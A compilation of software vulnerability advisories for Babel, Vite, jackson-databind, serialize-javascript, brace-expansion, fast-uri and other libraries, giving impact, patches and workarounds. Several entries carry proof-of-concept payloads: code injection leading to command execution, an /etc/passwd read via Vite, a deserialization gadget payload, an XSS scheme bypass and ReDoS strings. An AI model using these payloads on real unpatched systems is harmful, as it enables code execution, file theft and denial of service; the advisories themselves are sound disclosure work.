### Impact Using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. Known affected plugins are: - `@babel/plugin-transform-modules-systemjs` - `@babel/preset-env` when using the [`modules: "systemjs"` option](https://babel.dev/docs/babel-preset-env#modules), as it delegates to `@babel/plugin-transform-modules-systemjs` No other plugins under the `@babel` namespace are impacted. **Users that only compile trusted code are not impacted.** ### Patches The vulnerability has been fixed in `@babel/plugin-transform-modules-systemjs@7.29.4`. Babel also released `@babel/preset-env@7.29.5`, updating its `@babel/plugin-transform-modules-systemjs` dependency, to simplify forcing the update if you are using `@babel/preset-env` directly. ### Workarounds - Pin `@babel/parser` to v7.11.5. The downgrade will completely disable string module name parsing, but it would also disable other new language features and the build pipeline may fail as a result. Only do so if you are working on a legacy codebase and can not upgrade `@babel/plugin-transform-modules-systemjs` to v7.29.4. - Do not use the `modules: "systemjs"` option, migrate the codebase to native ES Modules or any other module formats. ### Credits Babel thanks Daniel Cervera for reporting the vulnerability.
### Impact `channelBinding=require` connections can be silently downgraded from `SCRAM-SHA-256-PLUS` (with channel binding) to plain `SCRAM-SHA-256` (without it), losing the man-in-the-middle protection the setting is meant to guarantee. An attacker who can intercept the TLS connection triggers the downgrade with a certificate whose signature algorithm has no `tls-server-end-point` channel-binding hash. Examples are `Ed25519`, `Ed448`, and post-quantum algorithms. Two issues combine in releases 42.7.4 through 42.7.11: 1. The bundled `com.ongres.scram:scram-client` (3.1 or 3.2) returns an empty byte array instead of failing when it cannot derive the binding hash for such a certificate. This is the library issue tracked as [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf). 2. pgJDBC does not enforce `channelBinding=require` where it matters. `ScramAuthenticator` checks only that the server *advertised* a `-PLUS` mechanism; it neither rejects the empty binding nor checks that the *negotiated* mechanism uses channel binding. The connection therefore downgrades silently, and would do so even against a fixed `scram-client`, because the missing enforcement is in pgJDBC's own code. Only connections that set `channelBinding=require` are affected. Under the default `prefer` policy, and under `allow` or `disable`, falling back to plain SCRAM is the documented behaviour. Releases before 42.7.4 are unaffected, because they do not support channel binding. ### Patches Fixed in pgJDBC 42.7.12. pgJDBC now enforces channel binding in its own code, independently of the `scram-client` version: - Under `channelBinding=require`, it fails the connection when no channel-binding data can be extracted from the server certificate, instead of passing an empty value to the SCRAM client. The error names the certificate signature algorithm. - After negotiation, it requires the selected mechanism to use channel binding (a `-PLUS` mechanism) whenever `channelBinding=require` is set, regardless of how negotiation resolved. Upgrade to 42.7.12 or later. ### Workarounds No pgJDBC setting restores channel-binding enforcement on an affected release; upgrading is the fix. If you cannot upgrade immediately, verify the server certificate at the TLS layer so that a man-in-the-middle cannot present a substitute certificate. Set `sslmode=verify-full` with a truststore that contains only your server's CA. This defence is independent of channel binding and blocks the same attacker. Connections that rely on `channelBinding=require` in place of certificate verification have no equivalent workaround and should upgrade. ### References - [GHSA-p9jg-fcr6-3mhf](https://github.com/ongres/scram/security/advisories/GHSA-p9jg-fcr6-3mhf) — the related `com.ongres.scram:scram-client` issue (root cause of the empty channel-binding value). - `scram-client` 3.3 release (library fix): https://github.com/ongres/scram/releases/tag/3.3 - pgJDBC fix in 42.7.12: [commit](https://github.com/pgjdbc/pgjdbc/commit/77df98e4e66c12936ded3478a0954f6f580bad99)
### Summary [`server.fs`](https://vite.dev/config/server-options#server-fs-strict) check was not enforced to the `fetchModule` method that is exposed in Vite dev server's WebSocket. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - WebSocket is not disabled by `server.ws: false` Arbitrary files on the server (development machine, CI environment, container, etc.) can be exposed. ### Details If it is possible to connect to the Vite dev server’s WebSocket **without an `Origin` header**, an attacker can invoke `fetchModule` via the custom WebSocket event `vite:invoke` and combine `file://...` with `?raw` (or `?inline`) to retrieve the contents of arbitrary files on the server as a JavaScript string (e.g., `export default "..."`). The access control enforced in the HTTP request path (such as `server.fs.allow`) is not applied to this WebSocket-based execution path. ### PoC 1. Start the dev server on the target Example (used during validation with this repository): ```bash pnpm -C playground/alias exec vite --host 0.0.0.0 --port 5173 ``` 2. Confirm that access is blocked via the HTTP path (example: arbitrary file) ```bash curl -i 'http://localhost:5173/@fs/etc/passwd?raw' ``` Result: `403 Restricted` (outside the allow list) <img width="3898" height="1014" alt="image" src="https://github.com/user-attachments/assets/f6593377-549c-45d7-b562-5c19833438af" /> 3. Confirm that the same file can be retrieved via the WebSocket path By connecting to the HMR WebSocket without an `Origin` header and sending a `vite:invoke` request that calls `fetchModule` with a `file://...` URL and `?raw`, the file contents are returned as a JavaScript module. <img width="1049" height="296" alt="image" src="https://github.com/user-attachments/assets/af969f7b-d34e-4af4-8adb-5e2b83b31972" /> <img width="1382" height="955" alt="image" src="https://github.com/user-attachments/assets/6a230d2e-197a-4c9c-b373-d0129756d5d7" />
## Summary SVGO's opt-in `removeScripts` plugin failed to remove some executable links. Namespace-prefixed SVG anchors and URL schemes containing ASCII tabs or newlines could bypass its checks. Applications that used this plugin as their only protection for untrusted SVG input could expose users to cross-site scripting (XSS). SVGO is an optimizer rather than a comprehensive sanitization library, but `removeScripts` is maintained for consumers that already rely on it to remove common script execution paths. ## Details Two related bypasses were present: 1. The plugin inspected unprefixed SVG `<a>` elements but did not recognize namespace-prefixed SVG anchors such as `<svg:a>` when the prefix was bound to the SVG namespace. Their executable `href` or namespaced `*:href` values remained intact. 2. The URL check did not account for ASCII tab, line-feed, or carriage-return characters embedded in a scheme. Browsers remove these characters before parsing the scheme, so values such as `java	script:` could remain executable after bypassing the plugin's `javascript:` check. Anchors in unrelated custom namespaces are not executable SVG anchors and remain untouched. ## Impact If an application optimized attacker-controlled SVGs with `removeScripts` and then served the result in an active browser context, a victim could follow a link that executes script in the SVG's origin. Depending on the embedding and origin configuration, this could expose cookies or local storage, modify content, or perform actions as the victim. The plugin is opt-in, so consumers that do not enable it are not relying on the affected behavior. Typical local optimization of trusted SVG files is not affected. ## Patches Upgrade to one of the following releases for the maintained release line in use: | Release line | Patched version | Plugin | | --- | --- | --- | | v2 | 2.8.4 | `removeScriptElement` | | v3 | 3.3.5 | `removeScriptElement` | | v4 | 4.1.0 | `removeScripts` | The fix makes SVG anchor handling namespace-aware and strips ASCII tabs, line feeds, and carriage returns before checking executable URL schemes. SVGO v1 is no longer maintained. Users of v1 should upgrade to a supported release line. ## Workarounds For hostile input, use a dedicated SVG sanitization tool before passing the SVG to SVGO. Applications can also reject links from untrusted SVG input and avoid serving user-controlled SVGs in an active same-origin context. ## References - v4 fix: https://github.com/svg/svgo/pull/2268 - related executable URL hardening: https://github.com/svg/svgo/pull/2263 - v3 backport: https://github.com/svg/svgo/pull/2269 - v2 backport: https://github.com/svg/svgo/pull/2272 - v4.1.0 release: https://github.com/svg/svgo/releases/tag/v4.1.0 - v3.3.5 release: https://github.com/svg/svgo/releases/tag/v3.3.5 - v2.8.4 release: https://github.com/svg/svgo/releases/tag/v2.8.4
The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.
When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.
uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.
Netty is a network application framework for development of protocol servers and clients. In netty-handler prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. Versions 4.1.135.Final and 4.2.15.Final patch the issue.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.
### Summary An attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. ### Details `io.netty.handler.ipfilter.IpSubnetFilterRule#compareTo(java.net.InetSocketAddress)` method performs a bitwise AND between the incoming IP address and the configured networkAddress, instead of the subnetMask. ### Impact Access Control Bypass. Attacker can bypass IpSubnetFilter IPv6 access controls.
### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3
`jackson-databind`'s `PolymorphicTypeValidator` (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains `<`), `DatabindContext._resolveAndValidateGeneric()` validates **only the raw container class name** (the substring before `<`) against the configured PTV. If the container type is approved, the method parses the full canonical type string via `TypeFactory.constructFromCanonical()` and returns the fully parameterized type **without ever validating the nested type arguments** against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example `java.util.ArrayList<com.evil.Gadget>` when only `java.util.ArrayList` is allow-listed. The container passes the PTV check; `com.evil.Gadget` is loaded via `Class.forName(name, true, loader)`, instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry. ## Impact - **Bypass of the PTV allow-list**, including the recommended `BasicPolymorphicTypeValidator` configured with name-prefix allow rules. - **Arbitrary class instantiation** of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection). - **Potential unauthenticated remote code execution** when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,`TemplatesImpl`-style loaders, etc.) is present on the classpath. Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected. ## Proof of Concept Configuration restricting polymorphic deserialization to a single safe container: ```java BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder() .allowIfSubType("java.util.ArrayList") .build(); ObjectMapper mapper = JsonMapper.builder() .polymorphicTypeValidator(ptv) .build(); ``` Malicious payload (`Wrapper.value` is `Object` with `@JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)`): ```json {"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]} ``` On vulnerable versions, `com.evil.EvilGadget` is instantiated and its `cmd` property is set, despite only `java.util.ArrayList` being allow-listed. On `2.18.8` / `2.21.4` / `3.1.4` the deserialization throws `InvalidTypeIdException` before instantiation. **Variant payloads** (all bypass an `ArrayList`/`HashMap` allow-list): | Type ID | Smuggled type position | |---|---| | `java.util.ArrayList<Evil>` | list element | | `java.util.HashMap<Evil,String>` | map key | | `java.util.HashMap<String,Evil>` | map value | | `java.util.ArrayList<java.util.ArrayList<Evil>>` | nested element | | `java.util.ArrayList<Evil[]>` | array element | --- ## Patches Fixed in **2.18.8**, **2.21.4** and **3.1.4** via the changes for [FasterXML/jackson-databind#5988](https://github.com/FasterXML/jackson-databind/issues/5988), commit `434d6c511`. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for `Object` (wildcard resolution) and `Enum` types. `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that.
## Summary `BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray()` allowlists any array type based only on `clazz.isArray()`, without validating the array's component (element) type against the configured allowlist. A PTV built with `allowIfSubTypeIsArray()` plus an explicit concrete-type allowlist therefore still permits `EvilType[]` even though `EvilType` is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. ## Impact Applications using `BasicPolymorphicTypeValidator` with `allowIfSubTypeIsArray()` as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent. ## Affected / Patched (verified via `git tag --contains`) - 2.18 line: `>= 2.10.0, < 2.18.8` -> fixed in **2.18.8** - 2.19-2.21 line: `>= 2.19.0, < 2.21.4` -> fixed in **2.21.4** - 3.x line: `>= 3.0.0, < 3.1.4` -> fixed in **3.1.4** `PolymorphicTypeValidator` was added in 2.10.0 so vulnerability N/A for versions prior to that. ## Severity / CWE Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502. ## Upstream fix FasterXML/jackson-databind#5981; fix PR #5983 (`24529da`), 2.18 backport PR #5984 (`01d1692`). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4. ## Credits Omkhar Arasaratnam (@omkhar) - finder.
Babel is a compiler for writing next generation JavaScript. From 7.12.0 to before 7.29.4 and 8.0.0-alpha.13, using Babel to compile code that was specifically crafted by an attacker can cause Babel to generate output code that executes arbitrary code. This vulnerability is fixed in 7.29.4 and 8.0.0-alpha.13.
Versions of the package cross-spawn before 6.0.6, from 7.0.0 and before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. The regular expression that is vulnerable to backtracking can be generated in the 0.1.x release of path-to-regexp. Upgrade to 0.1.12. This vulnerability exists because of an incomplete fix for CVE-2024-45296.
brace-expansion through 5.0.6 is vulnerable to denial of service. The expand() function exhibits exponential-time complexity in the number of consecutive non-expanding '{}' brace groups. An attacker who passes a crafted string to expand(), directly or transitively, can cause significant CPU consumption and event-loop blocking. The max option does not mitigate this, as it bounds the output size rather than the recursion work.
### Summary brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process. In `expand_`, `post` is computed unconditionally at the top of the function, before the early-return branches that don't use it: ```js const post = m.post.length ? expand_(m.post, max, false) : ['']; // always recurses ... if (!isSequence && !isOptions) { if (m.post.match(/,(?!,).*\}/)) { str = m.pre + '{' + m.body + escClose + m.post; return expand_(str, max, true); // restart — `post` discarded } return [str]; } ``` For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but `expand_` has already recursed into post over the entire remaining tail, only to throw the result away. Each level therefore spawns two recursive expansions over essentially the same remaining work: `T(n) = 2·T(n−1) ⇒ O(2ⁿ)`. The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it. Measured on 5.0.6: | groups (n) | input bytes | time | |---|---|---| | 20 | 60 | 130 ms | | 24 | 72 | 1.9 s | | 26 | 78 | 7.8 s | | 30 (PoC) | 90 | ~2 min | ### Proof of concept ```js const { expand } = require('brace-expansion'); // 30 non-expanding groups, ~90 bytes — blocks for minutes: expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}'); ``` ### Impact Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process. ### Remediation Upgrade to a patched release. The fix: 1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential. 1. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack. Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up. If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.
Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
### Impact A bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (`.`). For example, `/:a-:b`. ### Patches For users of 0.1, upgrade to `0.1.10`. All other users should upgrade to `8.0.0`. These versions add backtrack protection when a custom regex pattern is not provided: - [0.1.10](https://github.com/pillarjs/path-to-regexp/releases/tag/v0.1.10) - [1.9.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v1.9.0) - [3.3.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v3.3.0) - [6.3.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v6.3.0) They do not protect against vulnerable user supplied capture groups. Protecting against explicit user patterns is out of scope for old versions and not considered a vulnerability. Version [7.1.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v7.1.0) can enable `strict: true` and get an error when the regular expression might be bad. Version [8.0.0](https://github.com/pillarjs/path-to-regexp/releases/tag/v8.0.0) removes the features that can cause a ReDoS. ### Workarounds All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change `/:a-:b` to `/:a-:b([^-/]+)`. If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length. For example, halving the attack string improves performance by 4x faster. ### Details Using `/:a-:b` will produce the regular expression `/^\/([^\/]+?)-([^\/]+?)\/?$/`. This can be exploited by a path such as `/a${'-a'.repeat(8_000)}/a`. [OWASP](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) has a good example of why this occurs, but the TL;DR is the `/a` at the end ensures this route would never match but due to naive backtracking it will still attempt every combination of the `:a-:b` on the repeated 8,000 `-a`. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and can lead to a DoS. In local benchmarks, exploiting the unsafe regex will result in performance that is over 1000x worse than the safe regex. In a more realistic environment using Express v4 and 10 concurrent connections, this translated to average latency of ~600ms vs 1ms. ### References * [OWASP](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) * [Detailed blog post](https://blakeembrey.com/posts/2024-09-web-redos/)
### Impact The regular expression that is vulnerable to backtracking can be generated in versions before 0.1.12 of `path-to-regexp`, originally reported in CVE-2024-45296 ### Patches Upgrade to 0.1.12. ### Workarounds Avoid using two parameters within a single path segment, when the separator is not `.` (e.g. no `/:a-:b`). Alternatively, you can define the regex used for both parameters and ensure they do not overlap to allow backtracking. ### References - https://github.com/advisories/GHSA-9wv6-86v2-598j - https://blakeembrey.com/posts/2024-09-web-redos/
All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.
Versions of the package semver before 7.5.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Those using Woodstox to parse XML data may be vulnerable to Denial of Service attacks (DOS) if DTD support is enabled. If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack.
An issue in the fetch() method in the BasicProfile class of org.ini4j through version v0.5.4 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.
path-to-regexp turns path strings into a regular expressions. In certain cases, path-to-regexp will output a regular expression that can be exploited to cause poor performance. Because JavaScript is single threaded and regex matching runs on the main thread, poor performance will block the event loop and lead to a DoS. The bad regular expression is generated any time you have two parameters within a single segment, separated by something that is not a period (.). For users of 0.1, upgrade to 0.1.10. All other users should upgrade to 8.0.0.
launch-editor allows users to open files with line numbers in editor from Node.js. Prior to version 2.9.0, due to the insufficient sanitization of the `file` argument in the `launchEditor`, an attacker can execute arbitrary commands on Windows by supplying a filename that contains special characters. This issue has been fixed in the `launch-editor` version 2.9.0, corresponding to vite version 5.4.9.
A possible arbitrary file read and SSRF vulnerability has been identified in Apache Kafka Client. Apache Kafka Clients accept configuration data for setting the SASL/OAUTHBEARER connection with the brokers, including "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url". Apache Kafka allows clients to read an arbitrary file and return the content in the error log, or sending requests to an unintended location. In applications where Apache Kafka Clients configurations can be specified by an untrusted party, attackers may use the "sasl.oauthbearer.token.endpoint.url" and "sasl.oauthbearer.jwks.endpoint.url" configuratin to read arbitrary contents of the disk and environment variables or make requests to an unintended location. In particular, this flaw may be used in Apache Kafka Connect to escalate from REST API access to filesystem/environment/URL access, which may be undesirable in certain environments, including SaaS products. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls") to set the allowed urls in SASL JAAS configuration. In 3.9.1, it accepts all urls by default for backward compatibility. However in 4.0.0 and newer, the default value is empty list and users have to set the allowed urls explicitly.
Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
Vite is a frontend tooling framework for javascript. Vite exposes content of non-allowed files using ?inline&import or ?raw?import. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. This vulnerability is fixed in 6.2.4, 6.1.3, 6.0.13, 5.4.16, and 4.5.11.
Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.19, 2.1.5, 3.0.7, and 5.0.10, crafted brace patterns can exhaust the native stack in parseCommaParts because parseCommaParts recursively processes the remainder once per brace group and uses push.apply to pass every element of a very large comma-part array as a function argument. Patterns containing many comma-separated brace groups trigger the recursive path, while the large array triggers the argument-array path without deep recursion. These paths cause recursive and argument-array native stack exhaustion before max or maxLength can limit output, potentially terminating the Node.js process in a process-terminating denial of service. This issue is fixed in versions 1.1.19, 2.1.5, 3.0.7, and 5.0.10.
The brace-expansion library generates arbitrary strings containing a common prefix and suffix. Prior to 1.1.20, 2.1.6, 3.0.8, and 5.0.11, deeply nested brace groups cause expand_() to recurse once per nesting level at comma-member and single-set expansion sites, exhausting the native stack before output limits can apply and potentially terminating the Node.js process. expand_ performs uncontrolled recursion for nested brace alternatives and single-part sets. deeply nested brace groups supplied as an untrusted pattern. expand_ is affected. expand is affected. Comma members is affected. Single set is affected. native stack exhaustion during nested sub-expansion. process-terminating denial of service. This issue is fixed in versions 1.1.20, 2.1.6, 3.0.8, and 5.0.11.
body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.
fast-uri versions 2.3.1 through 3.1.2 and 4.0.0 fail to canonicalize Unicode (IDN) hostnames for HTTP-family URLs. The IDN conversion path calls a helper that does not exist on the global URL constructor, silently leaving the host in its original Unicode form while normalize() and equal() still return values that differ from a WHATWG-compatible URL parser. Applications that use fast-uri to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) before passing the same URL to Node's URL or fetch can be bypassed when the two implementations resolve the same input to different hosts. Patches: upgrade to fast-uri 3.1.3 for the 3.x line or 4.0.1 for the 4.x line. Workarounds: enforce host policy using the same URL parser used for the actual request, or reject non-ASCII hosts before policy checks.
brace-expansion through 5.0.7 is vulnerable to denial of service via memory exhaustion. The expand() function limits the number of results with a max option (default 100,000) but does not bound the length of each result string. By chaining multiple brace groups, an attacker keeps the result count under the limit while making each result progressively longer, so total memory scales with both count and string length until the process hits a fatal, uncatchable out-of-memory error. About 7.5 KB of input ('{a,b}'.repeat(1500)) crashes a default Node.js process. Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch / glob brace patterns - can be crashed by a small request. Fixed in 5.0.8 by adding a maxLength option (default 4,000,000) that bounds accumulated output and intermediate arrays.
Impact: fast-uri versions from 2.3.1 through 4.1.0 (including the 3.x line up to 3.1.3 and the 2.x line up to 2.4.2) do not treat a literal backslash character (U+005C) as an authority delimiter. Node's native WHATWG URL parser, used by fetch, undici, and Node's http and https clients, normalizes the backslash to a forward slash for special schemes such as http, https, ws, wss, ftp, and file. As a result, the two parsers extract different hosts from the same input string. Applications that use fast-uri to enforce host-based policy such as allowlists, denylists, loopback or SSRF filtering, redirect validation, or outbound proxy routing before passing the same URL into Node's URL or fetch consumers can be steered to an unintended destination, including cloud metadata endpoints, loopback, or internal hosts. Patches: upgrade to fast-uri 4.1.1, 3.1.4, or 2.4.3. Workarounds: none.
fast-uri before 4.1.2, 3.1.5, and 2.4.4 requires a literal double forward slash to recognize a URI authority, so a reference that uses a backslash based introducer in place of it (backslash backslash, forward slash backslash, or backslash forward slash) is parsed with no authority and folds into the path. Node's native WHATWG URL parser instead treats a backslash as interchangeable with a forward slash for special schemes, so the two parsers extract different hosts from the same input. Applications that use fast-uri to enforce host based policy such as allowlists, SSRF filtering, or redirect validation before passing the same URL into Node's URL or fetch consumers can be steered to an unintended host. Upgrade to fast-uri 4.1.2, 3.1.5, or 2.4.4.
